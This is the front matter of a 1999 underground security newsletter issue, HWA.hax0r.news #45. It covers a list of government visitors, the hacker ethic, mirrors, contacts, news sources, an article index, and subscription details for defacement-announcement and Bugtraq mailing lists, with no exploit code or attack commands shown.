💾 Archived View for clemat.is › saccophore › library › ezines › textfiles › ezines › HWA › hwa-hn45.… captured on 2021-12-04 at 18:04:22.
-=-=-=-=-=-=-
[63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ]
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
==========================================================================
= <=-[ HWA.hax0r.news ]-=> =
==========================================================================
[=HWA'99/2000=] Number 45 Volume 1 1999 Dec 5th 99
==========================================================================
[ 61:20:6B:69:64:20:63:6F:75: ]
[ 6C:64:20:62:72:65:61:6B:20:74:68:69:73: ]
[ 20:22:65:6E:63:72:79:70:74:69:6F:6E:22:! ]
==========================================================================
"This newsletter/ezine has been Declassified for the phearing impaired"
____
/ ___|_____ _____ _ __ __ _ __ _ ___
| | / _ \ \ / / _ \ '__/ _` |/ _` |/ _ \
| |__| (_) \ V / __/ | | (_| | (_| | __/
\____\___/ \_/ \___|_| \__,_|\__, |\___|
|___/
This is #45 covering Nov 28th to Dec 5th.
==========================================================================
"ABUSUS NON TOLLIT USUM"
==========================================================================
Mailing list members: 447 Can we bump this up somewhat? spread the word!
==========================================================================
Today the spotlight may be on you, some interesting machines that
have accessed these archives recently...
_ _ _
| | | | ___ | |_
| |_| |/ _ \| __|
| _ | (_) | |_
|_| |_|\___/ \__|
_ _ _ _
| | | (_) |
| |__| |_| |_ ___
| __ | | __/ __|
| | | | | |_\__ \
|_| |_|_|\__|___/
.gov and .mil activity
proxy.gintic.gov.sg
doegate.doe.gov
sunspot.gsfc.nasa.gov
gate1.mcbh.usmc.mil
homer.nawcad.navy.mil
maggie.nawcad.navy.mil
lisa.nawcad.navy.mil
msproxy.transcom.mil
b-kahuna.hickam.af.mil
sc034ws109.nosc.mil
infosec.se
gate2.mcbutler.usmc.mil
sc034ws109.nosc.mil
shq-ot-1178.nosc.mil
dhcp-036190.scott.af.mil
mcreed.lan.teale.ca.gov
dodo.nist.gov
mc1926.mcclellan.af.mil
kwai11.nsf.gov
enduser.faa.gov
vasfw02,fdic.gov
lisa.defcen.gov.au
ps1.pbgc.gov
guardian.gov.sg
amccss229116.scott.af.mil
sc022ws224.nosc.mil
sheppard2.hurlburt.af.mil
marshall.us-state.gov
digger1.defence.gov.au
firewall.mendoza.gov.ar
ipaccess.gov.ru
gatekeeper.itsec-debis.de
fgoscs.itsec-debis.de
fhu-ed4ccdf.fhu.disa.mil
citspr.tyndall.af.mil
kelsatx2.kelly.af.mil
kane.sheppard.af.mil
relay5.nima.mil
host.198-76-34-33.gsa.gov
ntsrvr.vsw.navy.mil
saic2.nosc.mil
wygate.wy.blm.gov
mrwilson.lanl.gov
p722ar.npt.nuwc.navy.mil
ws088228.ramstein.af.mil
car-gw.defence.gov.au
unknown-c-23-147.latimes.com
nytgate1.nytimes.com
There are some interesting machines among these, the *.nosc.mil boxes are
from SPAWAR information warfare centres, good Is It Worth It Followup to see
our boys keeping up with the news... - Ed
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
_ ___ ___ _ ___
| | | \ \ / / \ | |__ __ ___ __/ _ \ _ __ _ __ _____ _____
| |_| |\ \ /\ / / _ \ | '_ \ / _` \ \/ / | | | '__| '_ \ / _ \ \ /\ / / __|
| _ | \ V V / ___ \ _| | | | (_| |> <| |_| | |_ | | | | __/\ V V /\__ \
|_| |_| \_/\_/_/ \_(_)_| |_|\__,_/_/\_\\___/|_(_)|_| |_|\___| \_/\_/ |___/
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
http://welcome.to/HWA.hax0r.news/
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@
# #
@ The HWA website is sponsored by CUBESOFT communications I highly @
# recommend you consider these people for your web hosting needs, #
@ @
# Web site sponsored by CUBESOFT networks http://www.csoft.net #
@ check them out for great fast web hosting! @
# #
# http://www.csoft.net/~hwa @
@ #
@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
_ _ _ _ _____ _ _ _
| | | | __ _ ___| | _____ _ __( )__| ____| |_| |__ (_) ___
| |_| |/ _` |/ __| |/ / _ \ '__|/ __| _| | __| '_ \| |/ __|
| _ | (_| | (__| < __/ | \__ \ |___| |_| | | | | (__
|_| |_|\__,_|\___|_|\_\___|_| |___/_____|\__|_| |_|_|\___|
Sadly, due to the traditional ignorance and sensationalizing of the mass
media, the once-noble term hacker has become a perjorative.
Among true computer people, being called a hacker is a compliment. One of
the traits of the true hacker is a profoundly antibureaucratic and
democratic spirit. That spirit is best exemplified by the Hacker's Ethic.
This ethic was best formulated by Steven Levy in his 1984 book Hackers:
Heroes of the Computer Revolution. Its tenets are as follows:
1 - Access to computers should be unlimited and total.
2 - All information should be free.
3 - Mistrust authority - promote decentralization.
4 - Hackers should be judged by their hacking not bogus criteria such as
degrees, age, race, or position.
5 - You create art and beauty on a computer,
6 - Computers can change your life for the better.
The Internet as a whole reflects this ethic.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
_____ _ _ _
| ___|__ _ __ _ __ ___ __ _| |_| |_(_)_ __ __ _
| |_ / _ \| '__| '_ ` _ \ / _` | __| __| | '_ \ / _` |
| _| (_) | | | | | | | | (_| | |_| |_| | | | | (_| |
|_| \___/|_| |_| |_| |_|\__,_|\__|\__|_|_| |_|\__, |
|___/
A Comment on FORMATTING:
Oct'99 - Started 80 column mode format, code is still left
untouched since formatting will destroy syntax.
I received an email recently about the formatting of this
newsletter, suggesting that it be formatted to 75 columns
in the past I've endevoured to format all text to 80 cols
except for articles and site statements and urls which are
posted verbatim, I've decided to continue with this method
unless more people complain, the zine is best viewed in
1024x768 mode with UEDIT.... - Ed
BTW if anyone can suggest a better editor than UEDIT for
this thing send me some email i'm finding it lacking in
certain areas. Must be able to produce standard ascii.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
__ __ _
| \/ (_)_ __ _ __ ___ _ __ ___
| |\/| | | '__| '__/ _ \| '__/ __|
| | | | | | | | | (_) | | \__ \
|_| |_|_|_| |_| \___/|_| |___/
New mirror sites
*** http://viper.dmrt.com/files/=E-Zines/HWA.hax0r.news/ ***
http://datatwirl.intranova.net * NEW *
http://the.wiretapped.net/security/textfiles/hWa.hax0r.news/
http://net-security.org/hwahaxornews
http://www.sysbreakers.com/hwa
http://www.attrition.org/hosted/hwa/
http://www.ducktank.net/hwa/issues.html.
http://hwazine.cjb.net/
http://www.hackunlimited.com/files/secu/papers/hwa/
http://www.attrition.org/~modify/texts/zines/HWA/
* http://hwa.hax0r.news.8m.com/
* http://www.fortunecity.com/skyscraper/feature/103/
* Crappy free sites but they offer 20M & I need the space...
** Some issues are not located on these sites since they exceed
the file size limitations imposed by the sites :-( please
only use these if no other recourse is available.
*** Most likely to be up to date other than the main site.
HWA.hax0r.news is sponsored by Cubesoft communications www.csoft.net
thanks to airportman for the Cubesoft bandwidth. Also shouts out to all
our mirror sites! and p0lix for the (now expired) digitalgeeks archive
tnx guys.
http://www.csoft.net/~hwa
HWA.hax0r.news Mirror Sites:
~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://the.wiretapped.net/security/textfiles/hWa.hax0r.news/
http://www.attrition.org/hosted/hwa/
http://www.attrition.org/~modify/texts/zines/HWA/
http://www.ducktank.net/hwa/issues.html. ** NEW **
http://www.alldas.de/hwaidx1.htm ** NEW ** CHECK THIS ONE OUT **
http://www.csoft.net/~hwa/
http://www.digitalgeeks.com/hwa. *DOWN*
http://members.tripod.com/~hwa_2k
http://welcome.to/HWA.hax0r.news/
http://www.attrition.org/~modify/texts/zines/HWA/
http://www.projectgamma.com/archives/zines/hwa/
http://www.403-security.org/Htmls/hwa.hax0r.news.htm
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=
____ _
/ ___| _ _ _ __ ___ _ __ ___(_)___
\___ \| | | | '_ \ / _ \| '_ \/ __| / __|
___) | |_| | | | | (_) | |_) \__ \ \__ \
|____/ \__, |_| |_|\___/| .__/|___/_|___/
|___/ |_|
SYNOPSIS (READ THIS)
--------------------
The purpose of this newsletter is to 'digest' current events of interest
that affect the online underground and netizens in general. This includes
coverage of general security issues, hacks, exploits, underground news
and anything else I think is worthy of a look see. (remember i'm doing
this for me, not you, the fact some people happen to get a kick/use
out of it is of secondary importance).
This list is NOT meant as a replacement for, nor to compete with, the
likes of publications such as CuD or PHRACK or with news sites such as
AntiOnline, the Hacker News Network (HNN) or mailing lists such as
BUGTRAQ or ISN nor could any other 'digest' of this type do so.
It *is* intended however, to compliment such material and provide a
reference to those who follow the culture by keeping tabs on as many
sources as possible and providing links to further info, its a labour
of love and will be continued for as long as I feel like it, i'm not
motivated by dollars or the illusion of fame, did you ever notice how
the most famous/infamous hackers are the ones that get caught? there's
a lot to be said for remaining just outside the circle... <g>
@HWA
=-----------------------------------------------------------------------=
Welcome to HWA.hax0r.news ... #44
=-----------------------------------------------------------------------=
We could use some more people joining the channel, its usually pretty
quiet, we don't bite (usually) so if you're hanging out on irc stop
by and idle a while and say hi...
**************************************************************************
____| _| |
__| | __ \ _ \ __|
| __| | | __/ |
_____|_| _| _|\___|\__|
Eris Free Net #HWA.hax0r.news
**************************************************************************
*** /join #HWA.hax0r.news on EFnet the key is `zwen' when keyed ***
*** ***
*** please join to discuss or impart news on from the zine and around ***
*** the zine or just to hang out, we get some interesting visitors you ***
*** could be one of em. ***
*** ***
*** Note that the channel isn't there to entertain you its purpose is ***
*** to bring together people interested and involved in the underground***
*** to chat about current and recent events etc, do drop in to talk or ***
*** hangout. Also if you want to promo your site or send in news tips ***
*** its the place to be, just remember we're not #hack or #chatzone... ***
**************************************************************************
=--------------------------------------------------------------------------=
_____ _ _
/ ____| | | | |
| | ___ _ __ | |_ ___ _ __ | |_ ___
| | / _ \| '_ \| __/ _ \ '_ \| __/ __|
| |___| (_) | | | | || __/ | | | |_\__ \
\_____\___/|_| |_|\__\___|_| |_|\__|___/
=--------------------------------------------------------------------------=
[ INDEX ]
=--------------------------------------------------------------------------=
Key Intros
=--------------------------------------------------------------------------=
00.0 .. COPYRIGHTS ......................................................
00.1 .. CONTACT INFORMATION & SNAIL MAIL DROP ETC .......................
00.2 .. SOURCES .........................................................
00.3 .. THIS IS WHO WE ARE ..............................................
00.4 .. WHAT'S IN A NAME? why `HWA.hax0r.news'?..........................
00.5 .. THE HWA_FAQ V1.0 ................................................
ABUSUS NON TOLLIT USUM?
This is (in case you hadn't guessed) Latin, and loosely translated
it means "Just because something is abused, it should not be taken
away from those who use it properly). This is our new motto.
=--------------------------------------------------------------------------=
Key Content
=--------------------------------------------------------------------------=
01.0 .. GREETS ..........................................................
01.1 .. Last minute stuff, rumours, newsbytes ...........................
01.2 .. Mailbag .........................................................
02.0 .. From the Editor..................................................
03.0 .. Yes It Is (Worth It) ............................................
04.0 .. ExplorerZip Shrinks, Becomes MiniZip ............................
05.0 .. Staples Files Suit Against Unknown Defacer ......................
06.0 .. Comet bows to consumer pressure..................................
07.0 .. Personal Info of Canadian ISP Users Leaked ......................
08.0 .. First Internet Piracy Case in Japan .............................
09.0 .. FBI Launches InfraGuard in Ohio .................................
10.0 .. National Gun Database Goes Online ...............................
11.0 .. Zero Knowledge Ships Freedom, Finally ...........................
12.0 .. OpenBSD 2.6 Ships ...............................................
13.0 .. Videon Was Warned of Data Loss ..................................
14.0 .. German Digital Signature Chip Broke .............................
15.0 .. IETF Members Under Investigation For Treason ....................
16.0 .. Jane's Releases Cyberterrorism Report ...........................
17.0 .. Car Radio Listening Habits Being Gathered .......................
18.0 .. CVE by Mitre Goes Online ........................................
19.0 .. Novell Head Victim of Online Credit Card Theft ..................
20.0 .. IDC Says E-Commerce Unsafe Most of the Time .....................
21.0 .. Attack Trees Help to Model Security Threats .....................
22.0 .. Pandora Updated .................................................
23.0 .. [sSh] Busted or Not? ...........................................
24.0 .. Response to Freedom Extraordinary ...............................
25.0 .. DCypher.net Team Created ........................................
26.0 .. Hackers Make it to Mars .........................................
27.0 .. Security Focus newsletter #17....................................
28.0 .. SQL 7 "Magic Packet" DoS.........................................
=-------------------------------------------------------------------------------=
AD.S .. Post your site ads or etc here, if you can offer something in return
thats tres cool, if not we'll consider ur ad anyways so send it in.
ads for other zines are ok too btw just mention us in yours, please
remember to include links and an email contact. Corporate ads will
be considered also and if your company wishes to donate to or
participate in the upcoming Canc0n99 event send in your suggestions
and ads now...n.b date and time may be pushed back join mailing list
for up to date information.......................................
Current dates: POSTPONED til further notice, place: TBA..........
Ha.Ha .. Humour and puzzles ............................................
Hey You!........................................................
=------=........................................................
Send in humour for this section! I need a laugh and its hard to
find good stuff... ;)...........................................
SITE.1 .. Featured site, .................................................
H.W .. Hacked Websites ...............................................
A.0 .. APPENDICES......................................................
A.1 .. PHACVW linx and references......................................
=--------------------------------------------------------------------------=
@HWA'99
00.0 (C) COPYRIGHT, (K)OPYWRONG, COPYLEFT? V2.0
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
_ _
| | ___ __ _ __ _| |
| | / _ \/ _` |/ _` | |
| |__| __/ (_| | (_| | |
|_____\___|\__, |\__,_|_|
|___/
THE OPINIONS OF THE WRITERS DO NOT NECESSARILY REFLECT THE
OPINIONS OF THE PUBLISHERS AND VICE VERSA IN FACT WE DUNNO
WTF IS GONNA TAKE RESPONSIBILITY FOR THIS, I'M NOT DOING IT
(LOTS OF ME EITHER'S RESOUND IN THE BACKGROUND) SO UHM JUST
READ IT AND IF IT BUGS YOU WELL TFS (SEE FAQ).
Important semi-legalese and license to redistribute:
YOU MAY DISTRIBUTE THIS ZINE WITHOUT PERMISSION FROM MYSELF
AND ARE GRANTED THE RIGHT TO QUOTE ME OR THE CONTENTS OF THE
ZINE SO LONG AS Cruciphux AND/OR HWA.hax0r.news ARE MENTIONED
IN YOUR WRITING. LINK'S ARE NOT NECESSARY OR EXPECTED BUT ARE
APPRECIATED the current link is http://welcome.to/HWA.hax0r.news
IT IS NOT MY INTENTION TO VIOLATE ANYONE'S COPYRIGHTS OR BREAK
ANY NETIQUETTE IN ANY WAY IF YOU FEEL I'VE DONE THAT PLEASE EMAIL
ME PRIVATELY current email cruciphux@dok.org
THIS DOES NOT CONSTITUTE ANY LEGAL RIGHTS, IN THIS COUNTRY ALL
WORKS ARE (C) AS SOON AS COMMITTED TO PAPER OR DISK, IF ORIGINAL
THE LAYOUT AND COMMENTARIES ARE THEREFORE (C) WHICH MEANS:
I RETAIN ALL RIGHTS, BUT I GIVE YOU THE RIGHT TO READ, QUOTE
AND REDISTRIBUTE/MIRROR. - EoD
Although this file and all future issues are now copyright, some of
the content holds its own copyright and these are printed and
respected. News is news so i'll print any and all news but will quote
sources when the source is known, if its good enough for CNN its good
enough for me. And i'm doing it for free on my own time so pfffft. :)
No monies are made or sought through the distribution of this material.
If you have a problem or concern email me and we'll discuss it.
cruciphux@dok.org
Cruciphux [C*:.]
00.1 CONTACT INFORMATION AND MAIL DROP
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
____ _ _
/ ___|___ _ __ | |_ __ _ ___| |_ ___
| | / _ \| '_ \| __/ _` |/ __| __/ __|
| |__| (_) | | | | || (_| | (__| |_\__ \
\____\___/|_| |_|\__\__,_|\___|\__|___/
Wahoo, we now have a mail-drop, if you are outside of the U.S.A or
Canada / North America (hell even if you are inside ..) and wish to
send printed matter like newspaper clippings a subscription to your
cool foreign hacking zine or photos, small non-explosive packages
or sensitive information etc etc well, now you can. (w00t) please
no more inflatable sheep or plastic dog droppings, or fake vomit
thanks.
Send all goodies to:
HWA NEWS
P.O BOX 44118
370 MAIN ST. NORTH
BRAMPTON, ONTARIO
CANADA
L6V 4H5
WANTED!: POSTCARDS! YESH! POSTCARDS, I COLLECT EM so I know a lot of you are
~~~~~~~ reading this from some interesting places, make my day and get a
mention in the zine, send in a postcard, I realize that some places
it is cost prohibitive but if you have the time and money be a cool
dude / gal and send a poor guy a postcard preferably one that has some
scenery from your place of residence for my collection, I collect stamps
too so you kill two birds with one stone by being cool and mailing in a
postcard, return address not necessary, just a "hey guys being cool in
Bahrain, take it easy" will do ... ;-) thanx.
Ideas for interesting 'stuff' to send in apart from news:
- Photo copies of old system manual front pages (optionally signed by you) ;-)
- Photos of yourself, your mom, sister, dog and or cat in a NON
compromising position plz I don't want pr0n. <g>
- Picture postcards
- CD's 3.5" disks, Zip disks, 5.25" or 8" floppies, Qic40/80/100-250
tapes with hack/security related archives, logs, irc logs etc on em.
- audio or video cassettes of yourself/others etc of interesting phone
fun or social engineering examples or transcripts thereof.
Stuff you can email:
- Prank phone calls in .ram or .mp* format
- Fone tones and security announcements from PBX's etc
- fun shit you sampled off yer scanner (relevant stuff only like #2600 meeting activities)
- reserved for one smiley face -> :-) <-
- PHACV lists of files that you have or phac cd's you own (we have a burner, *g*)
- burns of phac cds (email first to make sure we don't already have em)
- Any and all telephone sounds/tones/beeps/trunk drops/line tests/etc in .ram etc format or .mp*
If you still can't think of anything you're probably not that interesting
a person after all so don't worry about it <BeG>
Our current email:
Submissions/zine gossip.....: hwa@press.usmc.net
Private email to editor.....: cruciphux@dok.org
Distribution/Website........: sas2@usa.net
@HWA
00.2 Sources ***
~~~~~~~~~~~
____
/ ___| ___ _ _ _ __ ___ ___ ___
\___ \ / _ \| | | | '__/ __/ _ Y __|
___) | (_) | |_| | | | (_| __|__ \
|____/ \___/ \__,_|_| \___\___|___/
Sources can be some, all, or none of the following (by no means complete
nor listed in any degree of importance) Unless otherwise noted, like msgs
from lists or news from other sites, articles and information is compiled
and or sourced by Cruciphux no copyright claimed.
News & I/O zine ................. http://www.antionline.com/
Back Orifice/cDc..................http://www.cultdeadcow.com/
News site (HNN) .....,............http://www.hackernews.com/
Help Net Security.................http://net-security.org/
News,Advisories,++ .(lophtcrack)..http://www.l0pht.com/
NewsTrolls .(daily news ).........http://www.newstrolls.com/
News + Exploit archive ...........http://www.rootshell.com/beta/news.html
CuD Computer Underground Digest...http://www.soci.niu.edu/~cudigest
News site+........................http://www.zdnet.com/
News site+Security................http://www.gammaforce.org/
News site+Security................http://www.projectgamma.com/
News site+Security................http://securityhole.8m.com/
News site+Security related site...http://www.403-security.org/ s
News/Humour site+ ................http://www.innerpulse.com
News/Techie news site.............http://www.slashdot.org
+Various mailing lists and some newsgroups, such as ...
+other sites available on the HNN affiliates page, please see
http://www.hackernews.com/affiliates.html as they seem to be popping up
rather frequently ...
http://www.the-project.org/ .. IRC list/admin archives
http://www.anchordesk.com/ .. Jesse Berst's AnchorDesk
alt.hackers.malicious
alt.hackers
alt.2600
BUGTRAQ
ISN security mailing list
ntbugtraq
<+others>
NEWS Agencies, News search engines etc:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.cnn.com/SEARCH/
http://www.foxnews.com/search/cgi-bin/search.cgi?query=hack&days=0&wires=0&startwire=0
http://www.news.com/Searching/Results/1,18,1,00.html?querystr=hack
http://www.ottawacitizen.com/business/
http://search.yahoo.com.sg/search/news_sg?p=hack
http://www.washingtonpost.com/cgi-bin/search?DB_NAME=WPlate&TOTAL_HITLIST=20&DEFAULT_OPERATOR=AND&headline=&WITHIN_FIELD_NAME=.lt.event_date&WITHIN_DAYS=0&description=hack
http://www.zdnet.com/zdtv/cybercrime/
http://www.zdnet.com/zdtv/cybercrime/chaostheory/ (Kevin Poulsen's Column)
NOTE: See appendices for details on other links.
http://news.bbc.co.uk/hi/english/sci/tech/newsid_254000/254236.stm
http://freespeech.org/eua/ Electronic Underground Affiliation
http://ech0.cjb.net ech0 Security
http://axon.jccc.net/hir/ Hackers Information Report
http://net-security.org Net Security
http://www.403-security.org Daily news and security related site
Submissions/Hints/Tips/Etc
~~~~~~~~~~~~~~~~~~~~~~~~~~
____ _ _ _
/ ___| _ _| |__ _ __ ___ (_)___ ___(_) ___ _ __ ___
\___ \| | | | '_ \| '_ ` _ \| / __/ __| |/ _ \| '_ \/ __|
___) | |_| | |_) | | | | | | \__ \__ \ | (_) | | | \__ \
|____/ \__,_|_.__/|_| |_| |_|_|___/___/_|\___/|_| |_|___/
All submissions that are `published' are printed with the credits
you provide, if no response is received by a week or two it is assumed
that you don't care wether the article/email is to be used in an issue
or not and may be used at my discretion.
Looking for:
Good news sites that are not already listed here OR on the HNN affiliates
page at http://www.hackernews.com/affiliates.html
Magazines (complete or just the articles) of breaking sekurity or hacker
activity in your region, this includes telephone phraud and any other
technological use, abuse hole or cool thingy. ;-) cut em out and send it
to the drop box.
- Ed
Mailing List Subscription Info (Far from complete) Feb 1999
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~ ~~~~~~~~
ISS Security mailing list faq : http://www.iss.net/iss/maillist.html
ATTRITION.ORG's Website defacement mirror and announcement lists
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.attrition.org/mirror/attrition/
http://www.attrition.org/security/lists.html
--
defaced [web page defacement announce list]
This is a public LOW VOLUME (1) mail list to circulate news/info on
defaced web sites. To subscribe to Defaced, send mail to
majordomo@attrition.org with "subscribe defaced" in the BODY of
the mail.
There will be two types of posts to this list:
1. brief announcements as we learn of a web defacement.
this will include the site, date, and who signed the
hack. we will also include a URL of a mirror of the hack.
2. at the end of the day, a summary will be posted
of all the hacks of the day. these can be found
on the mirror site listed under 'relevant links'
This list is for informational purposes only. Subscribing
denotes your acceptance of the following:
1. we have nothing to do with the hacks. at all.
2. we are only mirroring the work of OTHER people.
3. we can not be held liable for anything related to these
hacks.
4. all of the points on the disclaimer listed below.
Under no circumstances may the information on this list be used
to solicit security business. You do not have permission to forward
this mail to anyone related to the domain that was defaced.
enjoy.
List maintainer: mcintyre@attrition.org
Hosted by: majordomo@attrition.org
Relevant Links:
Disclaimer: http://www.attrition.org/mirror/attrition/notes.html
ATTRITION Mirror: http://www.attrition.org/mirror/
(1) It is low volume on a normal day. On days of many defacements,
traffic may be increased. On a few days, it is a virtual mail
flood. You have been warned. ;)
-=-
--
defaced summary [web page defacement announce list]
This is a low traffic mail list to announce all publicly
defaced domains on a given day. To subscribe to Defaced-Summary, send mail to
majordomo@attrition.org with "subscribe defaced-summary" in the BODY of
the mail.
There will be ONE type of post to this list:
1. a single nightly piece of mail listing all reported
domains. the same information can be found on
http://www.attrition.org/mirror/attrition/
via sporadic updates.
This list is for informational purposes only. Subscribing
denotes your acceptance of the following:
1. we have nothing to do with the hacks. at all.
2. we are only mirroring the work of OTHER people.
3. we can not be held liable for anything related to these
hacks.
4. all of the points on the disclaimer listed below.
Under no circumstances may the information on this list be used
to solicit security business. You do not have permission to forward
this mail to anyone related to the domain that was defaced.
enjoy.
List maintainer: jericho@attrition.org
Hosted by: majordomo@attrition.org
Relevant Links:
Disclaimer: http://www.attrition.org/mirror/attrition/notes.html
ATTRITION Mirror: http://www.attrition.org/mirror/
-=-
defaced GM [web page defacement announce list]
This is a low traffic mail list to announce all publicly
defaced government and military domains on a given day. To subscribe to
Defaced-GM, send mail to majordomo@attrition.org with "subscribe defaced-gm"
in the BODY of the mail.
There will be ONE type of post to this list:
1. sporadic pieces of mail for each government (.gov)
or military (.mil) system defaced. the same information
can be found on http://www.attrition.org/mirror/attrition/
via sporadic updates.
This list is designed primarily for government and military
personell charged with tracking security incidents on
government run networks.
This list is for informational purposes only. Subscribing
denotes your acceptance of the following:
1. we have nothing to do with the hacks. at all.
2. we are only mirroring the work of OTHER people.
3. we can not be held liable for anything related to these
hacks.
4. all of the points on the disclaimer listed below.
Under no circumstances may the information on this list be used
to solicit security business. You do not have permission to forward
this mail to anyone related to the domain that was defaced.
enjoy.
List maintainer: jericho@attrition.org
Hosted by: majordomo@attrition.org
Relevant Links:
Disclaimer: http://www.attrition.org/mirror/attrition/notes.html
ATTRITION Mirror: http://www.attrition.org/mirror/
--
defaced alpha [web page defacement announce list]
This is a low traffic mail list to announce via alpha-numeric
pagers, all publicly defaced government and military domains
on a given day. To subscribe to Defaced-Alpha, send mail to
majordomo@attrition.org with "subscribe defaced-alpha" in
the BODY of the mail.
There will be ONE type of post to this list:
1. sporadic pieces of mail for each government (.gov)
or military (.mil) system defaced. the information
will only include domain names. the same information
can be found on http://www.attrition.org/mirror/attrition/
via sporadic updates.
This list is designed primarily for government and military
personell charged with tracking security incidents on
government run networks. Further, it is designed for
quick response and aimed at law enforcement agencies like
DCIS and the FBI.
To subscribe to this list, a special mail will be sent to YOUR
alpha-numeric pager. A specific response must be made within
12 hours of receiving the mail to be subscribed. If the response
is not received, it is assumed the mail was not sent to your
pager.
This list is for informational purposes only. Subscribing
denotes your acceptance of the following:
1. we have nothing to do with the hacks. at all.
2. we are only mirroring the work of OTHER people.
3. we can not be held liable for anything related to these
hacks.
4. all of the points on the disclaimer listed below.
Under no circumstances may the information on this list be used
to solicit security business. You do not have permission to forward
this mail to anyone related to the domain that was defaced.
enjoy.
List maintainer: jericho@attrition.org
Hosted by: majordomo@attrition.org
Relevant Links:
Disclaimer: http://www.attrition.org/mirror/attrition/notes.html
ATTRITION Mirror: http://www.attrition.org/mirror/
-=-
THE MOST READ:
BUGTRAQ - Subscription info
~~~~~~~~~~~~~~~~~~~~~~~~~~~
What is Bugtraq?
Bugtraq is a full-disclosure UNIX security mailing list, (see the info
file) started by Scott Chasin <chasin@crimelab.com>. To subscribe to
bugtraq, send mail to listserv@netspace.org containing the message body
subscribe bugtraq. I've been archiving this list on the web since late
1993. It is searchable with glimpse and archived on-the-fly with hypermail.
Searchable Hypermail Index;
http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html
About the Bugtraq mailing list
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The following comes from Bugtraq's info file:
This list is for *detailed* discussion of UNIX security holes: what they are,
how to exploit, and what to do to fix them.
This list is not intended to be about cracking systems or exploiting their
vulnerabilities. It is about defining, recognizing, and preventing use of
security holes and risks.
Please refrain from posting one-line messages or messages that do not contain
any substance that can relate to this list`s charter.
I will allow certain informational posts regarding updates to security tools,
documents, etc. But I will not tolerate any unnecessary or nonessential "noise"
on this list.
Please follow the below guidelines on what kind of information should be posted
to the Bugtraq list:
+ Information on Unix related security holes/backdoors (past and present)
+ Exploit programs, scripts or detailed processes about the above
+ Patches, workarounds, fixes
+ Announcements, advisories or warnings
+ Ideas, future plans or current works dealing with Unix security
+ Information material regarding vendor contacts and procedures
+ Individual experiences in dealing with above vendors or security organizations
+ Incident advisories or informational reporting
Any non-essential replies should not be directed to the list but to the originator of the message. Please do not
"CC" the bugtraq reflector address if the response does not meet the above criteria.
Remember: YOYOW.
You own your own words. This means that you are responsible for the words that you post on this list and that
reproduction of those words without your permission in any medium outside the distribution of this list may be
challenged by you, the author.
For questions or comments, please mail me:
chasin@crimelab.com (Scott Chasin)
UPDATED Sept/99 - Sent in by Androthi, tnx for the update
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
I am pleased to inform you of several changes that will be occurring
on June 5th. I hope you find them as exciting as I do.
BUGTRAQ moves to a new home
---------------------------
First, BUGTRAQ will be moving from its current home at NETSPACE.ORG
to SECURITYFOCUS.COM. What is Security Focus you ask? Wait and read
below. Other than the change of domains nothing of how the list
is run changes. I am still the moderator. We play by the same rules.
Security Focus will be providing mail archives for BUGTRAQ. The
archives go back longer than Netspace's and are more complete than
Geek-Girl's.
The move will occur one week from today. You will not need to
resubscribe. All your information, including subscription options
will be moved transparently.
Any of you using mail filters (e.g. procmail) to sort incoming
mail into mail folders by examining the From address will have to
update them to include the new address. The new address will be:
BUGTRAQ@SECURITYFOCUS.COM
Security Focus also be providing a free searchable vulnerability
database.
BUGTRAQ es muy bueno
--------------------
It has also become apparent that there is a need for forums
in the spirit of BUGTRAQ where non-English speaking people
or people that don't feel comfortable speaking English can
exchange information.
As such I've decided to give BUGTRAQ in other languages a try.
BUGTRAQ will continue to be the place to submit vulnerability
information, but if you feel more comfortable using some other
language you can give the other lists a try. All relevant information
from the other lists which have not already been covered here
will be translated and forwarded on by the list moderator.
In the next couple of weeks we will be introducing BUGTRAQ-JP
(Japanese) which will be moderated by Nobuo Miwa <n-miwa@lac.co.jp>
and BUGTRAQ-SP (Spanish) which will be moderated by CORE SDI S.A.
from Argentina <http://www.core-sdi.com/> (the folks that brought you
Secure Syslog and the SSH insertion attack).
What is Security Focus?
-----------------------
Security Focus is an exercise in creating a community and a security
resource. We hope to be able to provide a medium where useful and
successful resources such as BUGTRAQ can occur, while at the same
time providing a comprehensive source of security information. Aside
from moving just BUGTRAQ over, the Geek-Girl archives (and the Geek Girl
herself!) have moved over to Security Focus to help us with building
this new community. The other staff at Security Focus are largely derived
from long time supporters of Bugtraq and the community in general. If
you are interested in viewing the staff pages, please see the 'About'
section on www.securityfocus.com.
